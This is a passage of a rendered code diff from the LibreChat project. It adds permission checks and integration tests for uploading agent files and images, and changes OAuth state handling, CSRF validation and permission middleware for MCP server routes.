resourceType: ResourceType.AGENT,
|
|
||||||
resourceId: agent._id,
|
|
||||||
requiredPermission: PermissionBits.EDIT,
|
|
||||||
});
|
|
||||||
|
|
||||||
if (!hasEditPermission) {
|
|
||||||
logger.warn(
|
|
||||||
`[/files] User ${userId} denied upload to agent ${metadata.agent_id} (insufficient permissions)`,
|
|
||||||
);
|
|
||||||
return res.status(403).json({
|
|
||||||
error: 'Forbidden',
|
|
||||||
message: 'Insufficient permissions to upload files to this agent',
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return await processAgentFileUpload({ req, res, metadata });
|
return await processAgentFileUpload({ req, res, metadata });
|
||||||
|
|
|
||||||
376
api/server/routes/files/images.agents.test.js
Normal file
376
api/server/routes/files/images.agents.test.js
Normal file
|
|
@ -0,0 +1,376 @@
|
||||||
|
const express = require('express');
|
||||||
|
const request = require('supertest');
|
||||||
|
const mongoose = require('mongoose');
|
||||||
|
const { v4: uuidv4 } = require('uuid');
|
||||||
|
const { createMethods } = require('@librechat/data-schemas');
|
||||||
|
const { MongoMemoryServer } = require('mongodb-memory-server');
|
||||||
|
const {
|
||||||
|
SystemRoles,
|
||||||
|
AccessRoleIds,
|
||||||
|
ResourceType,
|
||||||
|
PrincipalType,
|
||||||
|
} = require('librechat-data-provider');
|
||||||
|
const { createAgent } = require('~/models/Agent');
|
||||||
|
|
||||||
|
jest.mock('~/server/services/Files/process', () => ({
|
||||||
|
processAgentFileUpload: jest.fn().mockImplementation(async ({ res }) => {
|
||||||
|
return res.status(200).json({ message: 'Agent file uploaded', file_id: 'test-file-id' });
|
||||||
|
}),
|
||||||
|
processImageFile: jest.fn().mockImplementation(async ({ res }) => {
|
||||||
|
return res.status(200).json({ message: 'Image processed' });
|
||||||
|
}),
|
||||||
|
filterFile: jest.fn(),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('fs', () => {
|
||||||
|
const actualFs = jest.requireActual('fs');
|
||||||
|
return {
|
||||||
|
...actualFs,
|
||||||
|
promises: {
|
||||||
|
...actualFs.promises,
|
||||||
|
unlink: jest.fn().mockResolvedValue(undefined),
|
||||||
|
},
|
||||||
|
};
|
||||||
|
});
|
||||||
|
|
||||||
|
const fs = require('fs');
|
||||||
|
const { processAgentFileUpload } = require('~/server/services/Files/process');
|
||||||
|
|
||||||
|
const router = require('~/server/routes/files/images');
|
||||||
|
|
||||||
|
describe('POST /images - Agent Upload Permission Check (Integration)', () => {
|
||||||
|
let mongoServer;
|
||||||
|
let authorId;
|
||||||
|
let otherUserId;
|
||||||
|
let agentCustomId;
|
||||||
|
let User;
|
||||||
|
let Agent;
|
||||||
|
let AclEntry;
|
||||||
|
let methods;
|
||||||
|
let modelsToCleanup = [];
|
||||||
|
|
||||||
|
beforeAll(async () => {
|
||||||
|
mongoServer = await MongoMemoryServer.create();
|
||||||
|
const mongoUri = mongoServer.getUri();
|
||||||
|
await mongoose.connect(mongoUri);
|
||||||
|
|
||||||
|
const { createModels } = require('@librechat/data-schemas');
|
||||||
|
const models = createModels(mongoose);
|
||||||
|
modelsToCleanup = Object.keys(models);
|
||||||
|
Object.assign(mongoose.models, models);
|
||||||
|
methods = createMethods(mongoose);
|
||||||
|
|
||||||
|
User = models.User;
|
||||||
|
Agent = models.Agent;
|
||||||
|
AclEntry = models.AclEntry;
|
||||||
|
|
||||||
|
await methods.seedDefaultRoles();
|
||||||
|
});
|
||||||
|
|
||||||
|
afterAll(async () => {
|
||||||
|
const collections = mongoose.connection.collections;
|
||||||
|
for (const key in collections) {
|
||||||
|
await collections[key].deleteMany({});
|
||||||
|
}
|
||||||
|
for (const modelName of modelsToCleanup) {
|
||||||
|
if (mongoose.models[modelName]) {
|
||||||
|
delete mongoose.models[modelName];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
await mongoose.disconnect();
|
||||||
|
await mongoServer.stop();
|
||||||
|
});
|
||||||
|
|
||||||
|
beforeEach(async () => {
|
||||||
|
await Agent.deleteMany({});
|
||||||
|
await User.deleteMany({});
|
||||||
|
await AclEntry.deleteMany({});
|
||||||
|
|
||||||
|
authorId = new mongoose.Types.ObjectId();
|
||||||
|
otherUserId = new mongoose.Types.ObjectId();
|
||||||
|
agentCustomId = `agent_${uuidv4().replace(/-/g, '').substring(0, 21)}`;
|
||||||
|
|
||||||
|
await User.create({ _id: authorId, username: 'author', email: 'author@test.com' });
|
||||||
|
await User.create({ _id: otherUserId, username: 'other', email: 'other@test.com' });
|
||||||
|
|
||||||
|
jest.clearAllMocks();
|
||||||
|
});
|
||||||
|
|
||||||
|
const createAppWithUser = (userId, userRole = SystemRoles.USER) => {
|
||||||
|
const app = express();
|
||||||
|
app.use(express.json());
|
||||||
|
app.use((req, _res, next) => {
|
||||||
|
if (req.method === 'POST') {
|
||||||
|
req.file = {
|
||||||
|
originalname: 'test.png',
|
||||||
|
mimetype: 'image/png',
|
||||||
|
size: 100,
|
||||||
|
path: '/tmp/t.png',
|
||||||
|
filename: 'test.png',
|
||||||
|
};
|
||||||
|
req.file_id = uuidv4();
|
||||||
|
}
|
||||||
|
next();
|
||||||
|
});
|
||||||
|
app.use((req, _res, next) => {
|
||||||
|
req.user = { id: userId.toString(), role: userRole };
|
||||||
|
req.app = { locals: {} };
|
||||||
|
req.config = { fileStrategy: 'local', paths: { imageOutput: '/tmp/images' } };
|
||||||
|
next();
|
||||||
|
});
|
||||||
|
app.use('/images', router);
|
||||||
|
return app;
|
||||||
|
};
|
||||||
|
|
||||||
|
it('should return 403 when user has no permission on agent', async () => {
|
||||||
|
await createAgent({
|
||||||
|
id: agentCustomId,
|
||||||
|
name: 'Test Agent',
|
||||||
|
provider: 'openai',
|
||||||
|
model: 'gpt-4',
|
||||||
|
author: authorId,
|
||||||
|
});
|
||||||
|
|
||||||
|
const app = createAppWithUser(otherUserId);
|
||||||
|
const response = await request(app).post('/images').send({
|
||||||
|
endpoint: 'agents',
|
||||||
|
agent_id: agentCustomId,
|
||||||
|
tool_resource: 'context',
|
||||||
|
file_id: uuidv4(),
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(response.status).toBe(403);
|
||||||
|
expect(response.body.error).toBe('Forbidden');
|
||||||
|
expect(processAgentFileUpload).not.toHaveBeenCalled();
|
||||||
|
expect(fs.promises.unlink).toHaveBeenCalledWith('/tmp/t.png');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should allow upload for agent owner', async () => {
|
||||||
|
await createAgent({
|
||||||
|
id: agentCustomId,
|
||||||
|
name: 'Test Agent',
|
||||||
|
provider: 'openai',
|
||||||
|
model: 'gpt-4',
|
||||||
|
author: authorId,
|
||||||
|
});
|
||||||
|
|
||||||
|
const app = createAppWithUser(authorId);
|
||||||
|
const response = await request(app).post('/images').send({
|
||||||
|
endpoint: 'agents',
|
||||||
|
agent_id: agentCustomId,
|
||||||
|
tool_resource: 'context',
|
||||||
|
file_id: uuidv4(),
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(response.status).toBe(200);
|
||||||
|
expect(processAgentFileUpload).toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should allow upload for admin regardless of ownership', async () => {
|
||||||
|
await createAgent({
|
||||||
|
id: agentCustomId,
|
||||||
|
name: 'Test Agent',
|
||||||
|
provider: 'openai',
|
||||||
|
model: 'gpt-4',
|
||||||
|
author: authorId,
|
||||||
|
});
|
||||||
|
|
||||||
|
const app = createAppWithUser(otherUserId, SystemRoles.ADMIN);
|
||||||
|
const response = await request(app).post('/images').send({
|
||||||
|
endpoint: 'agents',
|
||||||
|
agent_id: agentCustomId,
|
||||||
|
tool_resource: 'context',
|
||||||
|
file_id: uuidv4(),
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(response.status).toBe(200);
|
||||||
|
expect(processAgentFileUpload).toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should allow upload for user with EDIT permission', async () => {
|
||||||
|
const agent = await createAgent({
|
||||||
|
id: agentCustomId,
|
||||||
|
name: 'Test Agent',
|
||||||
|
provider: 'openai',
|
||||||
|
model: 'gpt-4',
|
||||||
|
author: authorId,
|
||||||
|
});
|
||||||
|
|
||||||
|
const { grantPermission } = require('~/server/services/PermissionService');
|
||||||
|
await grantPermission({
|
||||||
|
principalType: PrincipalType.USER,
|
||||||
|
principalId: otherUserId,
|
||||||
|
resourceType: ResourceType.AGENT,
|
||||||
|
resourceId: agent._id,
|
||||||
|
accessRoleId: AccessRoleIds.AGENT_EDITOR,
|
||||||
|
grantedBy: authorId,
|
||||||
|
});
|
||||||
|
|
||||||
|
const app = createAppWithUser(otherUserId);
|
||||||
|
const response = await request(app).post('/images').send({
|
||||||
|
endpoint: 'agents',
|
||||||
|
agent_id: agentCustomId,
|
||||||
|
tool_resource: 'context',
|
||||||
|
file_id: uuidv4(),
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(response.status).toBe(200);
|
||||||
|
expect(processAgentFileUpload).toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should deny upload for user with only VIEW permission', async () => {
|
||||||
|
const agent = await createAgent({
|
||||||
|
id: agentCustomId,
|
||||||
|
name: 'Test Agent',
|
||||||
|
provider: 'openai',
|
||||||
|
model: 'gpt-4',
|
||||||
|
author: authorId,
|
||||||
|
});
|
||||||
|
|
||||||
|
const { grantPermission } = require('~/server/services/PermissionService');
|
||||||
|
await grantPermission({
|
||||||
|
principalType: PrincipalType.USER,
|
||||||
|
principalId: otherUserId,
|
||||||
|
resourceType: ResourceType.AGENT,
|
||||||
|
resourceId: agent._id,
|
||||||
|
accessRoleId: AccessRoleIds.AGENT_VIEWER,
|
||||||
|
grantedBy: authorId,
|
||||||
|
});
|
||||||
|
|
||||||
|
const app = createAppWithUser(otherUserId);
|
||||||
|
const response = await request(app).post('/images').send({
|
||||||
|
endpoint: 'agents',
|
||||||
|
agent_id: agentCustomId,
|
||||||
|
tool_resource: 'context',
|
||||||
|
file_id: uuidv4(),
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(response.status).toBe(403);
|
||||||
|
expect(response.body.error).toBe('Forbidden');
|
||||||
|
expect(processAgentFileUpload).not.toHaveBeenCalled();
|
||||||
|
expect(fs.promises.unlink).toHaveBeenCalledWith('/tmp/t.png');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should skip permission check for regular image uploads without agent_id/tool_resource', async () => {
|
||||||
|
const app = createAppWithUser(otherUserId);
|
||||||
|
const response = await request(app).post('/images').send({
|
||||||
|
endpoint: 'agents',
|
||||||
|
file_id: uuidv4(),
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(response.status).toBe(200);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should return 404 for non-existent agent', async () => {
|
||||||
|
const app = createAppWithUser(otherUserId);
|
||||||
|
const response = await request(app).post('/images').send({
|
||||||
|
endpoint: 'agents',
|
||||||
|
agent_id: 'agent_nonexistent123456789',
|
||||||
|
tool_resource: 'context',
|
||||||
|
file_id: uuidv4(),
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(response.status).toBe(404);
|
||||||
|
expect(response.body.error).toBe('Not Found');
|
||||||
|
expect(processAgentFileUpload).not.toHaveBeenCalled();
|
||||||
|
expect(fs.promises.unlink).toHaveBeenCalledWith('/tmp/t.png');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should allow message_file attachment (boolean true) without EDIT permission', async () => {
|
||||||
|
const agent = await createAgent({
|
||||||
|
id: agentCustomId,
|
||||||
|
name: 'Test Agent',
|
||||||
|
provider: 'openai',
|
||||||
|
model: 'gpt-4',
|
||||||
|
author: authorId,
|
||||||
|
});
|
||||||
|
|
||||||
|
const { grantPermission } = require('~/server/services/PermissionService');
|
||||||
|
await grantPermission({
|
||||||
|
principalType: PrincipalType.USER,
|
||||||
|
principalId: otherUserId,
|
||||||
|
resourceType: ResourceType.AGENT,
|
||||||
|
resourceId: agent._id,
|
||||||
|
accessRoleId: AccessRoleIds.AGENT_VIEWER,
|
||||||
|
grantedBy: authorId,
|
||||||
|
});
|
||||||
|
|
||||||
|
const app = createAppWithUser(otherUserId);
|
||||||
|
const response = await request(app).post('/images').send({
|
||||||
|
endpoint: 'agents',
|
||||||
|
agent_id: agentCustomId,
|
||||||
|
tool_resource: 'context',
|
||||||
|
message_file: true,
|
||||||
|
file_id: uuidv4(),
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(response.status).toBe(200);
|
||||||
|
expect(processAgentFileUpload).toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should allow message_file attachment (string "true") without EDIT permission', async () => {
|
||||||
|
const agent = await createAgent({
|
||||||
|
id: agentCustomId,
|
||||||
|
name: 'Test Agent',
|
||||||
|
provider: 'openai',
|
||||||
|
model: 'gpt-4',
|
||||||
|
author: authorId,
|
||||||
|
});
|
||||||
|
|
||||||
|
const { grantPermission } = require('~/server/services/PermissionService');
|
||||||
|
await grantPermission({
|
||||||
|
principalType: PrincipalType.USER,
|
||||||
|
principalId: otherUserId,
|
||||||
|
resourceType: ResourceType.AGENT,
|
||||||
|
resourceId: agent._id,
|
||||||
|
accessRoleId: AccessRoleIds.AGENT_VIEWER,
|
||||||
|
grantedBy: authorId,
|
||||||
|
});
|
||||||
|
|
||||||
|
const app = createAppWithUser(otherUserId);
|
||||||
|
const response = await request(app).post('/images').send({
|
||||||
|
endpoint: 'agents',
|
||||||
|
agent_id: agentCustomId,
|
||||||
|
tool_resource: 'context',
|
||||||
|
message_file: 'true',
|
||||||
|
file_id: uuidv4(),
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(response.status).toBe(200);
|
||||||
|
expect(processAgentFileUpload).toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should deny upload when message_file is false (not a message attachment)', async () => {
|
||||||
|
const agent = await createAgent({
|
||||||
|
id: agentCustomId,
|
||||||
|
name: 'Test Agent',
|
||||||
|
provider: 'openai',
|
||||||
|
model: 'gpt-4',
|
||||||
|
author: authorId,
|
||||||
|
});
|
||||||
|
|
||||||
|
const { grantPermission } = require('~/server/services/PermissionService');
|
||||||
|
await grantPermission({
|
||||||
|
principalType: PrincipalType.USER,
|
||||||
|
principalId: otherUserId,
|
||||||
|
resourceType: ResourceType.AGENT,
|
||||||
|
resourceId: agent._id,
|
||||||
|
accessRoleId: AccessRoleIds.AGENT_VIEWER,
|
||||||
|
grantedBy: authorId,
|
||||||
|
});
|
||||||
|
|
||||||
|
const app = createAppWithUser(otherUserId);
|
||||||
|
const response = await request(app).post('/images').send({
|
||||||
|
endpoint: 'agents',
|
||||||
|
agent_id: agentCustomId,
|
||||||
|
tool_resource: 'context',
|
||||||
|
message_file: false,
|
||||||
|
file_id: uuidv4(),
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(response.status).toBe(403);
|
||||||
|
expect(response.body.error).toBe('Forbidden');
|
||||||
|
expect(processAgentFileUpload).not.toHaveBeenCalled();
|
||||||
|
expect(fs.promises.unlink).toHaveBeenCalledWith('/tmp/t.png');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
@ -2,12 +2,15 @@ const path = require('path');
|
||||||
const fs = require('fs').promises;
|
const fs = require('fs').promises;
|
||||||
const express = require('express');
|
const express = require('express');
|
||||||
const { logger } = require('@librechat/data-schemas');
|
const { logger } = require('@librechat/data-schemas');
|
||||||
|
const { verifyAgentUploadPermission } = require('@librechat/api');
|
||||||
const { isAssistantsEndpoint } = require('librechat-data-provider');
|
const { isAssistantsEndpoint } = require('librechat-data-provider');
|
||||||
const {
|
const {
|
||||||
processAgentFileUpload,
|
processAgentFileUpload,
|
||||||
processImageFile,
|
processImageFile,
|
||||||
filterFile,
|
filterFile,
|
||||||
} = require('~/server/services/Files/process');
|
} = require('~/server/services/Files/process');
|
||||||
|
const { checkPermission } = require('~/server/services/PermissionService');
|
||||||
|
const { getAgent } = require('~/models/Agent');
|
||||||
|
|
||||||
const router = express.Router();
|
const router = express.Router();
|
||||||
|
|
||||||
|
|
@ -22,6 +25,16 @@ router.post('/', async (req, res) => {
|
||||||
metadata.file_id = req.file_id;
|
metadata.file_id = req.file_id;
|
||||||
|
|
||||||
if (!isAssistantsEndpoint(metadata.endpoint) && metadata.tool_resource != null) {
|
if (!isAssistantsEndpoint(metadata.endpoint) && metadata.tool_resource != null) {
|
||||||
|
const denied = await verifyAgentUploadPermission({
|
||||||
|
req,
|
||||||
|
res,
|
||||||
|
metadata,
|
||||||
|
getAgent,
|
||||||
|
checkPermission,
|
||||||
|
});
|
||||||
|
if (denied) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
return await processAgentFileUpload({ req, res, metadata });
|
return await processAgentFileUpload({ req, res, metadata });
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -13,6 +13,7 @@ const {
|
||||||
MCPOAuthHandler,
|
MCPOAuthHandler,
|
||||||
MCPTokenStorage,
|
MCPTokenStorage,
|
||||||
setOAuthSession,
|
setOAuthSession,
|
||||||
|
PENDING_STALE_MS,
|
||||||
getUserMCPAuthMap,
|
getUserMCPAuthMap,
|
||||||
validateOAuthCsrf,
|
validateOAuthCsrf,
|
||||||
OAUTH_CSRF_COOKIE,
|
OAUTH_CSRF_COOKIE,
|
||||||
|
|
@ -49,6 +50,18 @@ const router = Router();
|
||||||
|
|
||||||
const OAUTH_CSRF_COOKIE_PATH = '/api/mcp';
|
const OAUTH_CSRF_COOKIE_PATH = '/api/mcp';
|
||||||
|
|
||||||
|
const checkMCPUsePermissions = generateCheckAccess({
|
||||||
|
permissionType: PermissionTypes.MCP_SERVERS,
|
||||||
|
permissions: [Permissions.USE],
|
||||||
|
getRoleByName,
|
||||||
|
});
|
||||||
|
|
||||||
|
const checkMCPCreate = generateCheckAccess({
|
||||||
|
permissionType: PermissionTypes.MCP_SERVERS,
|
||||||
|
permissions: [Permissions.USE, Permissions.CREATE],
|
||||||
|
getRoleByName,
|
||||||
|
});
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Get all MCP tools available to the user
|
* Get all MCP tools available to the user
|
||||||
* Returns only MCP tools, completely decoupled from regular LibreChat tools
|
* Returns only MCP tools, completely decoupled from regular LibreChat tools
|
||||||
|
|
@ -91,7 +104,11 @@ router.get('/:serverName/oauth/initiate', requireJwtAuth, setOAuthSession, async
|
||||||
}
|
}
|
||||||
|
|
||||||
const oauthHeaders = await getOAuthHeaders(serverName, userId);
|
const oauthHeaders = await getOAuthHeaders(serverName, userId);
|
||||||
const { authorizationUrl, flowId: oauthFlowId } = await MCPOAuthHandler.initiateOAuthFlow(
|
const {
|
||||||
|
authorizationUrl,
|
||||||
|
flowId: oauthFlowId,
|
||||||
|
flowMetadata,
|
||||||
|
} = await MCPOAuthHandler.initiateOAuthFlow(
|
||||||
serverName,
|
serverName,
|
||||||
serverUrl,
|
serverUrl,
|
||||||
userId,
|
userId,
|
||||||
|
|
@ -101,6 +118,7 @@ router.get('/:serverName/oauth/initiate', requireJwtAuth, setOAuthSession, async
|
||||||
|
|
||||||
logger.debug('[MCP OAuth] OAuth flow initiated', { oauthFlowId, authorizationUrl });
|
logger.debug('[MCP OAuth] OAuth flow initiated', { oauthFlowId, authorizationUrl });
|
||||||
|
|
||||||
|
await MCPOAuthHandler.storeStateMapping(flowMetadata.state, oauthFlowId, flowManager);
|
||||||
setOAuthCsrfCookie(res, oauthFlowId, OAUTH_CSRF_COOKIE_PATH);
|
setOAuthCsrfCookie(res, oauthFlowId, OAUTH_CSRF_COOKIE_PATH);
|
||||||
res.redirect(authorizationUrl);
|
res.redirect(authorizationUrl);
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
|
|
@ -143,30 +161,52 @@ router.get('/:serverName/oauth/callback', async (req, res) => {
|
||||||
return res.redirect(`${basePath}/oauth/error?error=missing_state`);
|
return res.redirect(`${basePath}/oauth/error?error=missing_state`);
|
||||||
}
|
}
|
||||||
|
|
||||||
const flowId = state;
|
const flowsCache = getLogStores(CacheKeys.FLOWS);
|
||||||
logger.debug('[MCP OAuth] Using flow ID from state', { flowId });
|
const flowManager = getFlowStateManager(flowsCache);
|
||||||
|
|
||||||
|
const flowId = await MCPOAuthHandler.resolveStateToFlowId(state, flowManager);
|
||||||
|
if (!flowId) {
|
||||||
|
logger.error('[MCP OAuth] Could not resolve state to flow ID', { state });
|
||||||
|
return res.redirect(`${basePath}/oauth/error?error=invalid_state`);
|
||||||
|
}
|
||||||
|
logger.debug('[MCP OAuth] Resolved flow ID from state', { flowId });
|
||||||
|
|
||||||
const flowParts = flowId.split(':');
|
const flowParts = flowId.split(':');
|
||||||
if (flowParts.length < 2 || !flowParts[0] || !flowParts[1]) {
|
if (flowParts.length < 2 || !flowParts[0] || !flowParts[1]) {
|
||||||
logger.error('[MCP OAuth] Invalid flow ID format in state', { flowId });
|
logger.error('[MCP OAuth] Invalid flow ID format', { flowId });
|
||||||
return res.redirect(`${basePath}/oauth/error?error=invalid_state`);
|
return res.redirect(`${basePath}/oauth/error?error=invalid_state`);
|
||||||
}
|
}
|
||||||
|
|
||||||
const [flowUserId] = flowParts;
|
const [flowUserId] = flowParts;
|
||||||
if (
|
|
||||||
!validateOAuthCsrf(req, res, flowId, OAUTH_CSRF_COOKIE_PATH) &&
|
const hasCsrf = validateOAuthCsrf(req, res, flowId, OAUTH_CSRF_COOKIE_PATH);
|
||||||
!validateOAuthSession(req, flowUserId)
|
const hasSession = !hasCsrf && validateOAuthSession(req, flowUserId);
|
||||||
) {
|
let hasActiveFlow = false;
|
||||||
logger.error('[MCP OAuth] CSRF validation failed: no valid CSRF or session cookie', {
|
if (!hasCsrf && !hasSession) {
|
||||||
flowId,
|
const pendingFlow = await flowManager.getFlowState(flowId, 'mcp_oauth');
|
||||||
hasCsrfCookie: !!req.cookies?.[OAUTH_CSRF_COOKIE],
|
const pendingAge = pendingFlow?.createdAt ? Date.now() - pendingFlow.createdAt : Infinity;
|
||||||
hasSessionCookie: !!req.cookies?.[OAUTH_SESSION_COOKIE],
|
hasActiveFlow = pendingFlow?.status === 'PENDING' && pendingAge < PENDING_STALE_MS;
|
||||||
});
|
if (hasActiveFlow) {
|
||||||
return res.redirect(`${basePath}/oauth/error?error=csrf_validation_failed`);
|
logger.debug(
|
||||||
|
'[MCP OAuth] CSRF/session cookies absent, validating via active PENDING flow',
|
||||||
|
{
|
||||||
|
flowId,
|
||||||
|
},
|
||||||
|
);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
const flowsCache = getLogStores(CacheKeys.FLOWS);
|
if (!hasCsrf && !hasSession && !hasActiveFlow) {
|
||||||
const flowManager = getFlowStateManager(flowsCache);
|
logger.error(
|
||||||
|
'[MCP OAuth] CSRF validation failed: no valid CSRF cookie, session cookie, or active flow',
|
||||||
|
{
|
||||||
|
flowId,
|
||||||
|
hasCsrfCookie: !!req.cookies?.[OAUTH_CSRF_COOKIE],
|
||||||
|
hasSessionCookie: !!req.cookies?.[OAUTH_SESSION_COOKIE],
|
||||||
|
},
|
||||||
|
);
|
||||||
|
return res.redirect(`${basePath}/oauth/error?error=csrf_validation_failed`);
|
||||||
|
}
|
||||||
|
|
||||||
logger.debug('[MCP OAuth] Getting flow state for flowId: ' + flowId);
|
logger.debug('[MCP OAuth] Getting flow state for flowId: ' + flowId);
|
||||||
const flowState = await MCPOAuthHandler.getFlowState(flowId, flowManager);
|
const flowState = await MCPOAuthHandler.getFlowState(flowId, flowManager);
|
||||||
|
|
@ -281,7 +321,13 @@ router.get('/:serverName/oauth/callback', async (req, res) => {
|
||||||
const toolFlowId = flowState.metadata?.toolFlowId;
|
const toolFlowId = flowState.metadata?.toolFlowId;
|
||||||
if (toolFlowId) {
|
if (toolFlowId) {
|
||||||
logger.debug('[MCP OAuth] Completing tool flow', { toolFlowId });
|
logger.debug('[MCP OAuth] Completing tool flow', { toolFlowId });
|
||||||
await flowManager.completeFlow(toolFlowId, 'mcp_oauth', tokens);
|
const completed = await flowManager.completeFlow(toolFlowId, 'mcp_oauth', tokens);
|
||||||
|
if (!completed) {
|
||||||
|
logger.warn(
|
||||||
|
'[MCP OAuth] Tool flow state not found during completion — waiter will time out',
|
||||||
|
{ toolFlowId },
|
||||||
|
);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/** Redirect to success page with flowId and serverName */
|
/** Redirect to success page with flowId and serverName */
|
||||||
|
|
@ -436,69 +482,75 @@ router.post('/oauth/cancel/:serverName', requireJwtAuth, async (req, res) => {
|
||||||
* Reinitialize MCP server
|
* Reinitialize MCP server
|
||||||
* This endpoint allows reinitializing a specific MCP server
|
* This endpoint allows reinitializing a specific MCP server
|
||||||
*/
|
*/
|
||||||
router.post('/:serverName/reinitialize', requireJwtAuth, setOAuthSession, async (req, res) => {
|
router.post(
|
||||||
try {
|
'/:serverName/reinitialize',
|
||||||
const { serverName } = req.params;
|
requireJwtAuth,
|
||||||
const user = createSafeUser(req.user);
|
checkMCPUsePermissions,
|
||||||
|
setOAuthSession,
|
||||||
|
async (req, res) => {
|
||||||
|
try {
|
||||||
|
const { serverName } = req.params;
|
||||||
|
const user = createSafeUser(req.user);
|
||||||
|
|
||||||
if (!user.id) {
|
if (!user.id) {
|
||||||
return res.status(401).json({ error: 'User not authenticated' });
|
return res.status(401).json({ error: 'User not authenticated' });
|
||||||
}
|
}
|
||||||
|
|
||||||
logger.info(`[MCP Reinitialize] Reinitializing server: ${serverName}`);
|
logger.info(`[MCP Reinitialize] Reinitializing server: ${serverName}`);
|
||||||
|
|
||||||
const mcpManager = getMCPManager();
|
const mcpManager = getMCPManager();
|
||||||
const serverConfig = await getMCPServersRegistry().getServerConfig(serverName, user.id);
|
const serverConfig = await getMCPServersRegistry().getServerConfig(serverName, user.id);
|
||||||
if (!serverConfig) {
|
if (!serverConfig) {
|
||||||
return res.status(404).json({
|
return res.status(404).json({
|
||||||
error: `MCP server '${serverName}' not found in configuration`,
|
error: `MCP server '${serverName}' not found in configuration`,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
await mcpManager.disconnectUserConnection(user.id, serverName);
|
||||||
|
logger.info(
|
||||||
|
`[MCP Reinitialize] Disconnected existing user connection for server: ${serverName}`,
|
||||||
|
);
|
||||||
|
|
||||||
|
/** @type {Record<string, Record<string, string>> | undefined} */
|
||||||
|
let userMCPAuthMap;
|
||||||
|
if (serverConfig.customUserVars && typeof serverConfig.customUserVars === 'object') {
|
||||||
|
userMCPAuthMap = await getUserMCPAuthMap({
|
||||||
|
userId: user.id,
|
||||||
|
servers: [serverName],
|
||||||
|
findPluginAuthsByKeys,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
const result = await reinitMCPServer({
|
||||||
|
user,
|
||||||
|
serverName,
|
||||||
|
userMCPAuthMap,
|
||||||
});
|
});
|
||||||
}
|
|
||||||
|
|
||||||
await mcpManager.disconnectUserConnection(user.id, serverName);
|
if (!result) {
|
||||||
logger.info(
|
return res.status(500).json({ error: 'Failed to reinitialize MCP server for user' });
|
||||||
`[MCP Reinitialize] Disconnected existing user connection for server: ${serverName}`,
|
}
|
||||||
);
|
|
||||||
|
|
||||||
/** @type {Record<string, Record<string, string>> | undefined} */
|
const { success, message, oauthRequired, oauthUrl } = result;
|
||||||
let userMCPAuthMap;
|
|
||||||
if (serverConfig.customUserVars && typeof serverConfig.customUserVars === 'object') {
|
if (oauthRequired) {
|
||||||
userMCPAuthMap = await getUserMCPAuthMap({
|
const flowId = MCPOAuthHandler.generateFlowId(user.id, serverName);
|
||||||
userId: user.id,
|
setOAuthCsrfCookie(res, flowId, OAUTH_CSRF_COOKIE_PATH);
|
||||||
servers: [serverName],
|
}
|
||||||
findPluginAuthsByKeys,
|
|
||||||
|
res.json({
|
||||||
|
success,
|
||||||
|
message,
|
||||||
|
oauthUrl,
|
||||||
|
serverName,
|
||||||
|
oauthRequired,
|
||||||
});
|
});
|
||||||
|
} catch (error) {
|
||||||
|
logger.error('[MCP Reinitialize] Unexpected error', error);
|
||||||
|
res.status(500).json({ error: 'Internal server error' });
|
||||||
}
|
}
|
||||||
|
},
|
||||||
const result = await reinitMCPServer({
|
);
|
||||||
user,
|
|
||||||
serverName,
|
|
||||||
userMCPAuthMap,
|
|
||||||
});
|
|
||||||
|
|
||||||
if (!result) {
|
|
||||||
return res.status(500).json({ error: 'Failed to reinitialize MCP server for user' });
|
|
||||||
}
|
|
||||||
|
|
||||||
const { success, message, oauthRequired, oauthUrl } = result;
|
|
||||||
|
|
||||||
if (oauthRequired) {
|
|
||||||
const flowId = MCPOAuthHandler.generateFlowId(user.id, serverName);
|
|
||||||
setOAuthCsrfCookie(res, flowId, OAUTH_CSRF_COOKIE_PATH);
|
|
||||||
}
|
|
||||||
|
|
||||||
res.json({
|
|
||||||
success,
|
|
||||||
message,
|
|
||||||
oauthUrl,
|
|
||||||
serverName,
|
|
||||||
oauthRequired,
|
|
||||||
});
|
|
||||||
} catch (error) {
|
|
||||||
logger.error('[MCP Reinitialize] Unexpected error', error);
|
|
||||||
res.status(500).json({ error: 'Internal server error' });
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Get connection status for all MCP servers
|
* Get connection status for all MCP servers
|
||||||
|
|
@ -605,7 +657,7 @@ router.get('/connection/status/:serverName', requireJwtAuth, async (req, res) =>
|
||||||
* Check which authentication values exist for a specific MCP server
|
* Check which authentication values exist for a specific MCP server
|
||||||
* This endpoint returns only boolean flags indicating if values are set, not the actual values
|
* This endpoint returns only boolean flags indicating if values are set, not the actual values
|
||||||
*/
|
*/
|
||||||
